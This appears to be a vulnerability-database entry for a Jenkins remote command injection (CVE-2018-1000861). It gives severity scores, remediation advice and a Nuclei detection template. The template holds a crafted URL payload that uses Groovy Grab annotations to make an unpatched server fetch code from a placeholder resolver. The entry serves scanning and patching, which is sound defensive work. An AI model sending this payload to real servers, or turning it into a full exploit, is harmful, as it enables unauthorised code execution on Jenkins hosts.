Jenkins - Remote Command Injection

2021-02-2011:11:15

ProjectDiscovery

github.com

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.973 High

EPSS

Percentile

99.9%

JSON

Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.

id: CVE-2018-1000861

info:
  name: Jenkins - Remote Command Injection
  author: dhiyaneshDK,pikpikcu
  severity: critical
  description: Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire Jenkins server.
  remediation: |
    Apply the latest security patches and updates provided by Jenkins to mitigate this vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1000861
    - https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595
    - http://packetstormsecurity.com/files/166778/Jenkins-Remote-Code-Execution.html
    - https://access.redhat.com/errata/RHBA-2019:0024
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-1000861
    cwe-id: CWE-502
    epss-score: 0.9734
    epss-percentile: 0.99882
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
  metadata:
    max-request: 1
    vendor: jenkins
    product: jenkins
  tags: cve2018,cve,packetstorm,kev,vulhub,rce,jenkins

http:
  - method: GET
    path:
      - '{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "package#vulntest"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a0e0d200c13ff780452945498a6718daad53e9ac916fec0ae1d8ec8279d22c87022026d4243303647e6e1fa58d9a299d869d55e93ab4c51fdffbfba18684c231c7f0:922c64590222798bb761d5b6d8e72950